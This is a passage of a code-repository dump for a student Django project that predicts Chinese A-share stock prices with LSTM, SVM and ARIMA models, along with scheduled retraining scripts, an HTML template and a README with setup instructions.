with tf.Session() as sess:\n # initialization\n sess.run(tf.global_variables_initializer())\n theloss = []\n # Number of iterations\n for i in range(number_of_iterations):\n loss_ = 0\n for step in range(len(batch_index) - 1):\n # sess.run(b, feed_dict = replace_dict)\n state_, loss_ = sess.run([train_op, loss], feed_dict={\n X: train_x[batch_index[step]:batch_index[step + 1]],\n Y: train_y[batch_index[step]:batch_index[step + 1]],\n keep_prob: 0.5})\n print(\"Number of iterations:\", i, \" loss:\", loss_)\n theloss.append(loss_)\n\n isExists = os.path.exists(\n root_path + str(stockcode) + \"/model/\" + time)\n if not isExists:\n os.makedirs(root_path + str(stockcode) + \"/model/\" + time)\n\n modelpath = root_path + str(\n stockcode) + \"/model/\" + time + \"/model.ckpt\"\n print(\"model_save: \", saver.save(sess, modelpath))\n print(\"The train has finished\")\n return theloss\n\n theloss = train_lstm()\n\n # ————————————————prediction————————————————————\n def prediction(time_step=20):\n\n X = tf.placeholder(tf.float32, shape=[None, time_step, input_size])\n mean, std, test_x, test_y = get_test_data(time_step)\n\n with tf.variable_scope(\"sec_lstm\", reuse=tf.AUTO_REUSE):\n pred, state_ = lstm(X)\n saver = tf.train.Saver(tf.global_variables())\n modelpath = root_path + str(\n stockcode) + \"/model/\" + time + \"/model.ckpt\"\n with tf.Session() as sess:\n saver = tf.train.import_meta_graph(modelpath + '.meta')\n saver.restore(sess, modelpath)\n # module_file = tf.train.latest_checkpoint('model_save2//model.ckpt')\n # saver.restore(sess, module_file)\n test_predict = []\n for step in range(len(test_x) - 1):\n predict = sess.run(pred, feed_dict={X: [test_x[step]],\n keep_prob: 1})\n predict = predict.reshape((-1))\n test_predict.extend(predict)\n\n # Relative error=(measured value-calculated value)/calculated value×100%\n test_y = np.array(test_y) * std[n1] + mean[n1]\n test_predict = np.array(test_predict) * std[n1] + mean[n1]\n acc = np.average(\n np.abs(test_predict - test_y[:len(test_predict)]) / test_y[\n :len(\n test_predict)])\n print(\"Relative error:\", acc)\n\n print(theloss)\n plt.figure()\n plt.plot(list(range(len(theloss))), theloss, color='b', )\n plt.xlabel('times', fontsize=14)\n plt.ylabel('loss value', fontsize=14)\n plt.title('loss-----blue', fontsize=10)\n plt.show()\n # Show forecast results as a line graph\n prediction_result.append(test_predict[-1])\n print(prediction_result)\n plt.figure()\n plt.plot(list(range(len(test_predict))), test_predict,\n color='b', )\n plt.plot(list(range(len(test_y) - day)), test_y[:-day],\n color='r')\n plt.xlabel('time value/day', fontsize=14)\n plt.ylabel('close value/point', fontsize=14)\n plt.title(time + ': ' + 'predict-----blue,real-----red',\n fontsize=10)\n\n isExists = os.path.exists(\n root_path + str(stockcode) + \"/figure\")\n if not isExists:\n os.makedirs(root_path + str(stockcode) + \"/figure\")\n figurepath = root_path + str(\n stockcode) + \"/figure/\" + time + \".jpg\"\n\n plt.savefig(figurepath)\n plt.show()\n\n # Save datapoint\n isExists = os.path.exists(\n root_path + str(stockcode) + \"/datapoint\")\n if not isExists:\n os.makedirs(root_path + str(stockcode) + \"/datapoint\")\n time_path = root_path + str(\n stockcode) + \"/datapoint/\" + time + \".json\"\n loss_path = root_path + str(\n stockcode) + \"/datapoint/\" + 'loss' + \".json\"\n\n jsObj = json.dumps({'test_predict': test_predict.tolist(),\n 'test_y': test_y[:-day].tolist()})\n fileObject = open(time_path, 'w')\n fileObject.write(jsObj)\n fileObject.close()\n\n jsObj = json.dumps([float(x) for x in theloss])\n fileObject = open(loss_path, 'w')\n fileObject.write(jsObj)\n fileObject.close()\n\n prediction()\n\n day = 1\n # stockcode=600036\n data_path = root_path + str(stockcode) + \".SS.csv\"\n prediction_result = []\n\n while day <= 5:\n dataframe = pd.read_csv(data_path)\n original = dataframe\n print(\"=====================predicting day\", day,\n \"=========================\")\n time = \"day\" + str(day)\n dataframe[time] = dataframe['close']\n num_list = list(dataframe[time])\n i = 0\n while i < day:\n num_list.pop(0)\n num_list.append(0)\n i = i + 1\n dataframe[time] = num_list\n dataframe = dataframe[:-day]\n\n LSTMtest(dataframe)\n day = day + 1\n\n plt.figure()\n plt.plot(list(range(len(prediction_result))), prediction_result,\n color='b', )\n plt.xlabel('days', fontsize=14)\n plt.ylabel('close value', fontsize=14)\n plt.title('future 5 days', fontsize=16)\n figurepath_5days = root_path + str(stockcode) + \"/figure/future5days.jpg\"\n plt.savefig(figurepath_5days)\n plt.show()\n\n # Save datapoint\n isExists = os.path.exists(\n root_path + str(stockcode) + \"/datapoint\")\n if not isExists:\n os.makedirs(root_path + str(stockcode) + \"/datapoint\")\n future5days_path = root_path + str(\n stockcode) + \"/datapoint/\" + 'future5days' + \".json\"\n\n jsObj = json.dumps([float(x) for x in prediction_result])\n fileObject = open(future5days_path, 'w')\n fileObject.write(jsObj)\n fileObject.close()\n\n isExists = os.path.exists(root_path + str(stockcode) + '/solution')\n if not isExists:\n os.makedirs(root_path + str(stockcode) + '/solution')\n with open(root_path + str(stockcode) + '/solution/prediction_result.txt',\n 'w') as f:\n for item in prediction_result:\n f.write(str(item) + \"\\t\")\n\n if prediction_result[0] > original['close'][len(original) - 1]:\n f.write(\"\\n\" + \"1\")\n elif prediction_result[0] == original['close'][len(original) - 1]:\n f.write(\"\\n\" + \"0\")\n elif prediction_result[0] < original['close'][len(original) - 1]:\n f.write(\"\\n\" + \"-1\")\n" }, { "alpha_fraction": 0.6246472001075745, "alphanum_fraction": 0.6396989822387695, "avg_line_length": 24.926828384399414, "blob_id": "d180c7aaef8be08fd93abf32fbb0f75808892f58", "content_id": "848dfb0122db95ed9b3dccb87f7375d59c0dc0bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1063, "license_type": "no_license", "max_line_length": 77, "num_lines": 41, "path": "/Utility Scripts/Auto_update_http.py", "repo_name": "fangyiwen/EECSE6895-Project-AI-Trader", "src_encoding": "UTF-8", "text": "import requests\nimport threading\nimport datetime\nfrom apscheduler.schedulers.blocking import BlockingScheduler\n\n\n# pip install APScheduler\n\ndef auto_update():\n print(datetime.datetime.utcnow().strftime(\"%Y-%m-%d %H:%M:%S.%f\")[:-3])\n\n root_url = \"http://127.0.0.1:8000/aitrader\"\n\n URL = root_url + \"/\" + \"stock_all/\"\n r = requests.get(url=URL)\n data = r.json()\n ticker_list = data[\"ticker_list\"]\n\n def train_helper(ticker, model):\n requests.get(url=root_url + \"/train_\" + model + \"/\" + ticker + \"/\")\n\n for ticker in ticker_list:\n threading.Thread(target=train_helper, args=(ticker, 'lstm')).start()\n threading.Thread(target=train_helper, args=(ticker, 'svm')).start()\n threading.Thread(target=train_helper, args=(ticker, 'arima')).start()\n print(\"Training \" + ticker + \": LSTM, SVM, ARIMA\")\n\n\n# Auto schedule\nscheduler = BlockingScheduler()\nscheduler.add_job(\n auto_update,\n trigger='cron',\n second=0,\n minute=30,\n hour=15,\n timezone=\"Asia/Shanghai\"\n)\nscheduler.start()\n\n# auto_update()\n" }, { "alpha_fraction": 0.7586206793785095, "alphanum_fraction": 0.8275862336158752, "avg_line_length": 10.699999809265137, "blob_id": "a0cc3e499bd61ebba70abeaf6b2dd2251d8f9ed2", "content_id": "1364ce5326a84eea94f329c678ac68fd16301d80", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 116, "license_type": "no_license", "max_line_length": 17, "num_lines": 10, "path": "/mysite/requirements.txt", "repo_name": "fangyiwen/EECSE6895-Project-AI-Trader", "src_encoding": "UTF-8", "text": "Django==3.1.7\nyahoo-fin\ndjango-bootstrap4\nmatplotlib\ngrpcio==1.27.2\ntensorflow\nnumpy\npandas\nscikit-learn\nstatsmodels" }, { "alpha_fraction": 0.5901408195495605, "alphanum_fraction": 0.6061971783638, "avg_line_length": 29.60344886779785, "blob_id": "45cf8fa9800828ae226ad4a9e485bfd5b798bae3", "content_id": "37ae549b701e0f7b2b3f4653288cd542992c44b9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3550, "license_type": "no_license", "max_line_length": 77, "num_lines": 116, "path": "/mysite/aitrader/myfolder/arima/ARIMA_model.py", "repo_name": "fangyiwen/EECSE6895-Project-AI-Trader", "src_encoding": "UTF-8", "text": "import pandas as pd\nimport matplotlib.pyplot as plt\nfrom statsmodels.graphics.tsaplots import plot_acf, plot_pacf\nfrom statsmodels.tsa.arima_model import ARIMA\nimport numpy as np\nimport os\nimport json\n\n\ndef train_ARIMA_model(stockcode, invoke_from_http=True):\n root_path = \"./aitrader/myfolder/arima/\"\n\n if not invoke_from_http:\n root_path = \"../mysite/aitrader/myfolder/arima/\"\n\n # ==============load data===============\n data_path = root_path + str(stockcode) + \".SS.csv\"\n # data_path=\"./\"+str(600519)+\".SS.csv\"\n StockDate = pd.read_csv(data_path)\n\n StockDate['close'].plot()\n plt.title('Daily closing price')\n plt.show()\n\n StockDate.index = pd.to_datetime(StockDate['date'])\n print(StockDate)\n stock_week = StockDate['close'].resample('W-MON').mean()\n\n # train set\n L = len(stock_week)\n train = int(L)\n total_predict_data = L - train\n\n train_data = stock_week[:train]\n print(train_data)\n\n train_data.plot()\n plt.title('Average weekly closing price')\n plt.show()\n\n # first difference\n diff_data = train_data.diff(1).dropna()\n diff_data.plot()\n plt.show()\n\n # check acf and pacf to make sure of q and p\n acf = plot_acf(diff_data, lags=25)\n plt.title('ACF')\n acf.show()\n pacf = plot_pacf(diff_data, lags=25)\n plt.title('PACF')\n pacf.show()\n plt.show()\n\n where_are_nan = np.isnan(train_data)\n where_are_inf = np.isinf(train_data)\n train_data[where_are_nan] = 0\n train_data[where_are_inf] = 0\n\n model = ARIMA(train_data, order=(1, 1, 1), freq='W-MON')\n arima = model.fit()\n\n # predict_data = arima.predict('2021-03-01',dynamic=True,typ='levels')\n predict_data = arima.forecast(5)\n print(str(predict_data[0]))\n\n isExists = os.path.exists(root_path + str(stockcode) + '/solution')\n if not isExists:\n os.makedirs(root_path + str(stockcode) + '/solution')\n\n prediction_result = []\n with open(root_path + str(stockcode) + '/solution/prediction_result.txt',\n 'w') as f:\n for item in str(predict_data[0])[1:-1].replace(\" \", \" \").split(\" \"):\n print(item)\n f.write(item + \"\\t\")\n if item.strip() != '':\n prediction_result.append(float(item))\n\n if prediction_result[0] > StockDate['close'][-1]:\n f.write(\"\\n\" + \"1\")\n elif prediction_result[0] == StockDate['close'][-1]:\n f.write(\"\\n\" + \"0\")\n elif prediction_result[0] < StockDate['close'][-1]:\n f.write(\"\\n\" + \"-1\")\n\n print(prediction_result)\n\n isExists = os.path.exists(root_path + str(stockcode) + \"/figure\")\n if not isExists:\n os.makedirs(root_path + str(stockcode) + \"/figure\")\n\n plt.figure()\n plt.plot(list(range(len(prediction_result))), prediction_result,\n color='b', )\n plt.xlabel('days', fontsize=14)\n plt.ylabel('close value', fontsize=14)\n plt.title('future 5 days', fontsize=15)\n figurepath_5days = root_path + str(stockcode) + \"/figure/future5days.jpg\"\n plt.savefig(figurepath_5days)\n plt.show()\n\n # Save datapoint\n isExists = os.path.exists(\n root_path + str(stockcode) + \"/datapoint\")\n if not isExists:\n os.makedirs(root_path + str(stockcode) + \"/datapoint\")\n future5days_path = root_path + str(\n stockcode) + \"/datapoint/\" + 'future5days' + \".json\"\n\n jsObj = json.dumps([float(x) for x in prediction_result])\n fileObject = open(future5days_path, 'w')\n fileObject.write(jsObj)\n fileObject.close()\n\n# train_ARIMA_model(600519)\n" }, { "alpha_fraction": 0.49200141429901123, "alphanum_fraction": 0.5030216574668884, "avg_line_length": 36.01315689086914, "blob_id": "c977d6ba2ea4f60fadba2ccabcf24aad0c4939f9", "content_id": "bd06fab4f7094f91e5740ef64ad17bb253e0ee58", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5626, "license_type": "no_license", "max_line_length": 92, "num_lines": 152, "path": "/mysite/aitrader/myfolder/svm/SVM_model.py", "repo_name": "fangyiwen/EECSE6895-Project-AI-Trader", "src_encoding": "UTF-8", "text": "# V2.0\n# change all the data, now it's base on relation not price.\n# Increase the training Data set.\n\nimport pandas as pd\nimport matplotlib\n\nmatplotlib.use('agg')\nimport matplotlib.pyplot as plt\nfrom sklearn import svm\nimport os\nimport json\n\n\ndef train_SVM_model(stockcode, invoke_from_http=True):\n try:\n root_path = \"./aitrader/myfolder/svm/\"\n\n if not invoke_from_http:\n root_path = \"../mysite/aitrader/myfolder/svm/\"\n\n # initialization\n prediction_result = []\n\n # mk dir\n isExists = os.path.exists(root_path + str(stockcode) + '/solution')\n if not isExists:\n os.makedirs(root_path + str(stockcode) + '/solution')\n\n # Data processing\n data_path = root_path + str(stockcode) + \".SS.csv\"\n StockDate = pd.read_csv(data_path)\n\n # Create more data for 5 days.\n n = 1\n\n while n <= 5:\n Data = StockDate.astype(float)\n\n print(\"=====================predicting day\", n,\n \"=========================\")\n value = pd.Series(Data['close'].shift(-n) - Data['close'],\n index=Data.index) # after n days, rise or fall\n Data['High-Low'] = Data['high'] - Data[\n 'low'] # Difference between High and Low\n Data['Open-NClose'] = Data['open'] - Data['close'].shift(\n n) # today's open - close of n days before\n Data['Close-NClose'] = Data['close'] - Data['close'].shift(\n n) # Today is rise or fall comparing with n days before\n Data['Close-Open'] = Data['close'] - Data[\n 'open'] # today's Close - Open\n Data['High-Close'] = Data['high'] - Data[\n 'close'] # today's High - Close\n Data['Close-Low'] = Data['close'] - Data['low'] # today's Close - Low\n value[value > 0] = 1 # 1 means rise\n value[value == 0] = 0 # 0 means it doesn't rise or fall\n value[value < 0] = -1 # -1 means fall\n Data = Data.dropna(how='any')\n del (Data['open'])\n del (Data['close'])\n del (Data['high'])\n del (Data['low'])\n print(Data)\n # print(type(Data))\n Data['Value'] = value\n\n L = len(Data)\n train = int(0.9 * L) # How many data for train, 9 is the least.\n total_predict_data = L - train\n\n DATA_lastday_prediction = Data.tail(1)\n DATA_lastday_prediction['Value'] = 0\n print(DATA_lastday_prediction)\n\n correct = 0\n\n # loop training,30 days data for training\n\n i = 0\n flag = 0\n SampleSize = 30\n print(\"SampleSize: \", SampleSize)\n print(\"There will be %d loops.\" % min(train / SampleSize,\n total_predict_data))\n\n while i + SampleSize < train & train < L:\n Data_train = Data[i + n:i + n + SampleSize]\n value_train = value[i + n:i + n + SampleSize]\n\n Data_predict = Data[train:train + 1]\n value_real = value[train:train + 1]\n\n print(Data_predict)\n # print(value_train)\n print(\"===============\", flag + 1, \"loop===============\")\n classifier = svm.SVC(kernel='poly',\n degree=20) # kernel='poly',(gamma*u'*v + coef0)^degree\n classifier.fit(Data_train, value_train)\n\n value_predict = classifier.predict(Data_predict)\n\n a = str(value_real).strip().split(\".\")[0][-1]\n b = str(value_real).strip().split(\".\")[1][0]\n value_real = float(a + \".\" + b)\n\n print(\"value_real: \", value_real)\n print(\"value_predict: \", value_predict)\n if (int(value_real) == int(value_predict)):\n correct = correct + 1\n i = i + SampleSize\n flag = flag + 1\n train = train + 1\n\n correct = correct / flag * 100\n print(\"Correct= %.4f\" % correct)\n n = n + 1\n\n prediction_result.append(classifier.predict(DATA_lastday_prediction))\n\n with open(root_path + str(stockcode) + '/solution/prediction_result.txt',\n 'w') as f:\n for item in prediction_result:\n f.write(str(item)[1:-1] + \"0\\t\")\n\n isExists = os.path.exists(root_path + str(stockcode) + \"/figure\")\n if not isExists:\n os.makedirs(root_path + str(stockcode) + \"/figure\")\n\n plt.figure()\n plt.plot(list(range(len(prediction_result))), prediction_result,\n color='b', )\n plt.xlabel('days', fontsize=14)\n plt.ylabel('close value', fontsize=14)\n plt.title('future 5 days ' + ' 1:rise, -1:fall', fontsize=15)\n figurepath_5days = root_path + str(stockcode) + \"/figure/future5days.jpg\"\n plt.savefig(figurepath_5days)\n plt.show()\n\n # Save datapoint\n isExists = os.path.exists(\n root_path + str(stockcode) + \"/datapoint\")\n if not isExists:\n os.makedirs(root_path + str(stockcode) + \"/datapoint\")\n future5days_path = root_path + str(\n stockcode) + \"/datapoint/\" + 'future5days' + \".json\"\n\n jsObj = json.dumps([float(x) for x in prediction_result])\n fileObject = open(future5days_path, 'w')\n fileObject.write(jsObj)\n fileObject.close()\n except:\n print(\"An exception occurred\")\n" }, { "alpha_fraction": 0.5820105671882629, "alphanum_fraction": 0.5947089791297913, "avg_line_length": 32.75, "blob_id": "0e9d369d339074a015e755dee6439c8bbf320a0d", "content_id": "0606a9013a483fe0970435462d749ee1986ea15e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 945, "license_type": "no_license", "max_line_length": 72, "num_lines": 28, "path": "/mysite/aitrader/myfolder/code/data_download_with_date.py", "repo_name": "fangyiwen/EECSE6895-Project-AI-Trader", "src_encoding": "UTF-8", "text": "from yahoo_fin.stock_info import get_data\n\n\ndef data_download_with_date(stock_id, model, invoke_from_http=True):\n root_path = \"./aitrader/myfolder/\"\n\n if not invoke_from_http:\n root_path = \"../mysite/aitrader/myfolder/\"\n\n ticker = stock_id\n # ticker = '600519.SS'\n stock = get_data(ticker, start_date=None, end_date=None,\n index_as_date=False, interval=\"1d\")\n stock.dropna(axis=0, how='any', inplace=True)\n print(stock[len(stock) - 5:len(stock)])\n\n latest_date = stock.iloc[len(stock) - 1, 0].strftime('%Y-%m-%d')\n print(latest_date)\n\n stock.drop(labels=['ticker', 'adjclose', 'volume'], axis=1,\n inplace=True)\n order = ['date', 'open', 'high', 'low', 'close']\n stock = stock[order]\n\n stock.to_csv(root_path + model + '/' + ticker + '.csv', index=None)\n f = open(root_path + model + '/' + ticker + \"_latest_date.txt\", \"w\")\n f.write(latest_date)\n f.close()\n" }, { "alpha_fraction": 0.7582417726516724, "alphanum_fraction": 0.7582417726516724, "avg_line_length": 17.200000762939453, "blob_id": "7db2a70e3e947883b6b8fcbc04fa543cbb66725e", "content_id": "bc7e80d5178032757a27b1e1b6af3e9947f7d0f3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 91, "license_type": "no_license", "max_line_length": 33, "num_lines": 5, "path": "/mysite/aitrader/apps.py", "repo_name": "fangyiwen/EECSE6895-Project-AI-Trader", "src_encoding": "UTF-8", "text": "from django.apps import AppConfig\n\n\nclass AitraderConfig(AppConfig):\n name = 'aitrader'\n" }, { "alpha_fraction": 0.6888889074325562, "alphanum_fraction": 0.7777777910232544, "avg_line_length": 44, "blob_id": "586143ed16003cefd88f83d47bcd3a64036c8e92", "content_id": "21910a4413bdb7ef2702d882b7f22f59376a3c57", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 45, "license_type": "no_license", "max_line_length": 44, "num_lines": 1, "path": "/mysite/README.md", "repo_name": "fangyiwen/EECSE6895-Project-AI-Trader", "src_encoding": "UTF-8", "text": "# EECSE6895 Project: A-share Stock AI Trader\n" }, { "alpha_fraction": 0.6102719306945801, "alphanum_fraction": 0.621924877166748, "avg_line_length": 28.705127716064453, "blob_id": "ea1d43bb8d6c583cc0c0174929b41025e66a8f32", "content_id": "462e8539292e3427470963a75ff703cff6267d2a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2317, "license_type": "no_license", "max_line_length": 79, "num_lines": 78, "path": "/Utility Scripts/Auto_update.py", "repo_name": "fangyiwen/EECSE6895-Project-AI-Trader", "src_encoding": "UTF-8", "text": "import requests\nimport datetime\nfrom apscheduler.schedulers.blocking import BlockingScheduler\nimport time\nimport os\nimport sys\nimport multiprocessing\n\nsys.path.append(os.path.abspath('../mysite/aitrader/myfolder/code'))\nsys.path.append(os.path.abspath('../mysite/aitrader/myfolder'))\nfrom data_download import data_download\nfrom data_download_with_date import data_download_with_date\nfrom lstm.lstm_model import run_lstm_model\nfrom svm.SVM_model import train_SVM_model\nfrom arima.ARIMA_model import train_ARIMA_model\n\n\n# pip install APScheduler\n\ndef train_helper(ticker, model):\n if model == 'lstm':\n data_download(ticker, model, invoke_from_http=False)\n run_lstm_model(ticker[:-3], invoke_from_http=False)\n elif model == 'svm':\n data_download(ticker, model, invoke_from_http=False)\n train_SVM_model(ticker[:-3], invoke_from_http=False)\n elif model == 'arima':\n data_download_with_date(ticker, model, invoke_from_http=False)\n train_ARIMA_model(ticker[:-3], invoke_from_http=False)\n\n\n# pip install APScheduler\n\nif __name__ == '__main__':\n def auto_update():\n print(\"Number of processors: \", multiprocessing.cpu_count())\n print(datetime.datetime.utcnow().strftime(\"%Y-%m-%d %H:%M:%S.%f\")[:-3])\n\n start = time.time()\n\n root_url = \"http://127.0.0.1:8000/aitrader\"\n\n URL = root_url + \"/\" + \"stock_all/\"\n r = requests.get(url=URL)\n data = r.json()\n ticker_list = data[\"ticker_list\"]\n\n # pool = multiprocessing.Pool(processes=6)\n pool = multiprocessing.Pool(3)\n\n for ticker in ticker_list:\n pool.apply_async(train_helper, (ticker, 'lstm'))\n pool.apply_async(train_helper, (ticker, 'svm'))\n pool.apply_async(train_helper, (ticker, 'arima'))\n print(\"Training \" + ticker + \": LSTM, SVM, ARIMA\")\n\n pool.close()\n pool.join()\n\n end = time.time()\n print('Start:', start)\n print('End:', end)\n print('Running time:', end - start)\n\n\n # Auto schedule\n # scheduler = BlockingScheduler()\n # scheduler.add_job(\n # auto_update,\n # trigger='cron',\n # second=0,\n # minute=30,\n # hour=15,\n # timezone=\"Asia/Shanghai\"\n # )\n # scheduler.start()\n\n auto_update()\n" }, { "alpha_fraction": 0.5010570883750916, "alphanum_fraction": 0.5150105953216553, "avg_line_length": 34.83333206176758, "blob_id": "9560280bb466ebb72cf31755ba28b7d64c22d6cd", "content_id": "03c5854f759233b9e323023a005b21566a78cf11", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 2365, "license_type": "no_license", "max_line_length": 106, "num_lines": 66, "path": "/mysite/aitrader/templates/aitrader/select_stock.html", "repo_name": "fangyiwen/EECSE6895-Project-AI-Trader", "src_encoding": "UTF-8", "text": "{% load static %}\n<link rel=\"stylesheet\" type=\"text/css\" href=\"{% static 'aitrader/style.css' %}\">\n<link rel=\"stylesheet\" type=\"text/css\" href=\"{% static 'aitrader/style_select_stock.css' %}\">\n\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <title>Trading</title>\n</head>\n<body>\n{% include 'aitrader/navbar.html' %}\n\n<h1><span class=\"blue\">&lt;</span>Stock List<span class=\"blue\">&gt;</span>\n <img src=\"../../static/files/trade.svg\" style=\"width:40px;height:40px;\"/>\n <span class=\"yellow\">Trading</span></h1>\n\n<table class=\"container\">\n <thead>\n <tr>\n <th><h1>Stock Symbol</h1></th>\n <th><h1>Company</h1></th>\n <th><h1>LSTM</h1></th>\n <th><h1>SVM</h1></th>\n <th><h1>ARIMA</h1></th>\n <th><h1>Integration</h1></th>\n <th><h1>Last Update</h1></th>\n </tr>\n </thead>\n <tbody>\n {% for tickerObj in sticker_obj_list %}\n <tr>\n <td>{{ tickerObj.ticker }}</td>\n <td>{{ tickerObj.longName }}</td>\n {% if tickerObj.lstm %}\n <td style=\"text-align:center;\"><a href=\"/aitrader/trade_stock_lstm/{{ tickerObj.ticker }}/\"\n style=\"color:#FB667A;\">LSTM</a></td>\n {% else %}\n <td style=\"text-align:center;\">LSTM</td>\n {% endif %}\n {% if tickerObj.svm %}\n <td style=\"text-align:center;\"><a href=\"/aitrader/trade_stock_svm/{{ tickerObj.ticker }}/\"\n style=\"color:#FB667A;\">SVM</a></td>\n {% else %}\n <td style=\"text-align:center;\">SVM</td>\n {% endif %}\n {% if tickerObj.arima %}\n <td style=\"text-align:center;\"><a href=\"/aitrader/trade_stock_arima/{{ tickerObj.ticker }}/\"\n style=\"color:#FB667A;\">ARIMA</a></td>\n {% else %}\n <td style=\"text-align:center;\">ARIMA</td>\n {% endif %}\n {% if tickerObj.lstm and tickerObj.svm and tickerObj.arima %}\n <td style=\"text-align:center;\"><a href=\"/aitrader/trade_stock_integration/{{ tickerObj.ticker }}/\"\n style=\"color:#FB667A;\">Integration</a></td>\n {% else %}\n <td style=\"text-align:center;\">Integration</td>\n {% endif %}\n <td>{{ tickerObj.latest_date }}</td>\n </tr>\n {% endfor %}\n </tbody>\n</table>\n\n</body>\n</html>\n" }, { "alpha_fraction": 0.4973062574863434, "alphanum_fraction": 0.583920419216156, "avg_line_length": 35.01492691040039, "blob_id": "b1aaecd24e4487dda098adf92e4a6d4134e25006", "content_id": "46831d668d39631037365d2fa509f9ed69f6f07d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2413, "license_type": "no_license", "max_line_length": 79, "num_lines": 67, "path": "/Utility Scripts/Batch_train.py", "repo_name": "fangyiwen/EECSE6895-Project-AI-Trader", "src_encoding": "UTF-8", "text": "import datetime\nimport time\nimport os\nimport sys\nimport multiprocessing\n\nsys.path.append(os.path.abspath('../mysite/aitrader/myfolder/code'))\nsys.path.append(os.path.abspath('../mysite/aitrader/myfolder'))\nfrom data_download import data_download\nfrom data_download_with_date import data_download_with_date\nfrom lstm.lstm_model import run_lstm_model\nfrom svm.SVM_model import train_SVM_model\nfrom arima.ARIMA_model import train_ARIMA_model\n\n\ndef train_helper(ticker, model):\n if model == 'lstm':\n data_download(ticker, model, invoke_from_http=False)\n run_lstm_model(ticker[:-3], invoke_from_http=False)\n elif model == 'svm':\n data_download(ticker, model, invoke_from_http=False)\n train_SVM_model(ticker[:-3], invoke_from_http=False)\n elif model == 'arima':\n data_download_with_date(ticker, model, invoke_from_http=False)\n train_ARIMA_model(ticker[:-3], invoke_from_http=False)\n\n\nif __name__ == '__main__':\n def auto_update():\n print(\"Number of processors: \", multiprocessing.cpu_count())\n print(datetime.datetime.utcnow().strftime(\"%Y-%m-%d %H:%M:%S.%f\")[:-3])\n\n start = time.time()\n\n # ticker_list = ['600519.SS', '601398.SS', '600036.SS', '601288.SS',\n # '601318.SS', '601988.SS', '601857.SS', '601628.SS',\n # '601888.SS', '603288.SS', '600000.SS', '600004.SS',\n # '600006.SS', '600007.SS', '600008.SS', '600009.SS',\n # '600010.SS', '600011.SS', '600012.SS', '600015.SS']\n\n ticker_list = ['600519.SS', '601398.SS', '600036.SS', '601288.SS',\n '601318.SS', '601988.SS', '601857.SS', '601628.SS',\n '601888.SS', '603288.SS']\n\n # ticker_list = ['600519.SS', '601398.SS']\n\n # add_stock_list = ['600012.SS', '600015.SS']\n\n pool = multiprocessing.Pool(processes=3)\n # pool = multiprocessing.Pool()\n\n for ticker in ticker_list:\n pool.apply_async(train_helper, (ticker, 'lstm'))\n pool.apply_async(train_helper, (ticker, 'svm'))\n pool.apply_async(train_helper, (ticker, 'arima'))\n print(\"Training \" + ticker + \": LSTM, SVM, ARIMA\")\n\n pool.close()\n pool.join()\n\n end = time.time()\n print('Start:', start)\n print('End:', end)\n print('Running time:', end - start)\n\n\n auto_update()\n" }, { "alpha_fraction": 0.6962986588478088, "alphanum_fraction": 0.7124328017234802, "avg_line_length": 50.819671630859375, "blob_id": "44b98b93f367208a0d57f117bba13a9f00ecc1a1", "content_id": "eae485f695825fd405ae966d49855219f1067074", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3161, "license_type": "no_license", "max_line_length": 981, "num_lines": 61, "path": "/README.md", "repo_name": "fangyiwen/EECSE6895-Project-AI-Trader", "src_encoding": "UTF-8", "text": "# EECSE6895 Project: A-share Stock AI Trader\nB9: Investment Strategy - AI Trader (CN/HK/TW/JP)\n\n## Introduction\nThe financial market is one of the first to adopt machine learning. Since the 1980s, people have been using machine learning to discover the laws of the financial market. Although machine learning has achieved great success in forecasting in other fields, the stock market is a market where everyone can invest in profit, but machine learning forecasts have not achieved significant results. As stock traders, we want to simulate stock prices or its trend correctly so that we can reasonably decide when to buy stocks and when to sell stocks in order to achieve maximum profitability. In this project, we will deploy LSTM, SVM, ARIMA methods to train models, then predict stock values or its trends. According to the result, we will design an algorithm to buy it at a low price, sell it at a high price, to achieve profits as much as possible. Finally, we will build a web application visualizing the result, which makes it more intuitive and easier to use and to accept for users.\n\nVisit the deployed website at http://ec2-34-207-212-22.compute-1.amazonaws.com/aitrader/\n\n## Team\nYiwen Fang (yf2560) | Guoshiwen Han (gh2567)\n\n## System Overview\n![System Overview](doc/system_overview.jpg)\n\n## Environment Setup\nThe command is for local machine. The environment setup for AWS EC2 can be done in a similar way by using ```python3-venv```.\n\n- Upgrade/replace the API key at stockdio.com if the real-time market info fails to show.\n- Install Python with the version 3.8.8\n- Make a conda virtual environment\n - ```conda activate my-django```\n- Install required dependencies (manual way)\n - ```pip install Django==3.1.7```\n - ```pip install yahoo-fin```\n - ```pip install django-bootstrap4```\n - ```pip install matplotlib```\n - ```pip install grpcio==1.27.2```\n - ```pip install tensorflow```\n - ```pip install numpy```\n - ```pip install pandas```\n - ```pip install scikit-learn```\n - ```pip install statsmodels```\n- Install required dependencies (lazy way)\n - ```pip install -r requirements.txt```\n\n## Run the Application (Local Machine)\nThere are two components for the application. Django hosts the frontend and backend. Auto update script triggers the auto downloading and model retraining in a setting period.\n\n- Run Django\n - cd to the directory of \"mysite\"\n - ```conda activate my-django```\n - ```python manage.py runserver --insecure```\n- Run auto update script\n - cd to the directory of \"Utility Scripts\"\n - ```conda activate my-django```\n - ```conda install pywin32``` (when required)\n - ```python Auto_update.py```\n\n## Run the Application (AWS EC2)\nInstall screen in Ubuntu ```apt-get install screen``` to detached the running terminals from SSH.\n\n- Run Django\n - ```su```\n - ```root```\n - ```cd /home/ubuntu/django_project/```\n - ```source my-django/bin/activate```\n - ```cd /home/ubuntu/django_project/mysite/```\n - ```python manage.py runserver 0.0.0.0:80 --insecure```\n- Run auto update script\n - cd to the directory of \"Utility Scripts\"\n - ```python Auto_update.py```\n" }, { "alpha_fraction": 0.5615413188934326, "alphanum_fraction": 